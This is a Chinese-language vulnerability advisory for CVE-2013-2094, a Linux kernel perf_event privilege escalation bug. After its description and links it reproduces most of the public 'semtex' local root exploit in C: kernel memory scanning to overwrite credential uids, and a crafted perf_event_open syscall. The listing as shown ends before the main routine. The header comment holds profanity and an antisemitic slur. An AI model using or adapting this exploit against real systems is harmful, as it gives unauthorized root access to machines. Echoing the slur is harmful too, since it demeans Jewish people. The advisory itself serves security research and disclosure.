发布日期:2013-05-14
更新日期:2013-06-04
受影响系统:
Linux kernel < 3.8.9
描述:
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CVE(CAN) ID: CVE-2013-2094
Linux Kernel是Linux操作系统的内核。
Linux kernel 3.8.9之前版本在kernel/events/core.c的函数perf_swevent_init中使用了错误的整数数据类型,本地用户通过特制的perf_event_open系统调用,利用此漏洞可提升自己的权限。
<*来源:vendor
链接:https://bugzilla.RedHat.com/show_bug.cgi?id=962792
http://zone.wooyun.org/content/3733
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-2094
*>
测试方法:
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警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*
* linux 2.6.37-3.x.x x86_64, ~100 LOC
* gcc-4.6 -O2 semtex.c && ./a.out
* 2010 sd@fucksheep.org, salut!
*
* update may 2013:
* seems like CentOS 2.6.32 backported the perf bug, lol.
* jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
*/
#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>
#define BASE 0x380000000
#define SIZE 0x010000000
#define KSIZE 0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
void fuck() {
int i,j,k;
uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
uint64_t kbase = ((uint64_t)current)>>36;
uint32_t *fixptr = (void*) AB(1);
*fixptr = -1;
for (i=0; i<4000; i+=4) {
uint64_t *p = (void *)¤t[i];
uint32_t *t = (void*) p[0];
if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
if (((uint32_t*)uids)[k] != t[j+k]) goto next;
for (i = 0; i < 8; i++) t[j+i] = 0;
for (i = 0; i < 10; i++) t[j+9+i] = -1;
return;
next:; }
}
}
void sheep(uint32_t off) {
uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
int fd = syscall(298, buf, 0, -1, -1, 0);
assert(!close(fd));
}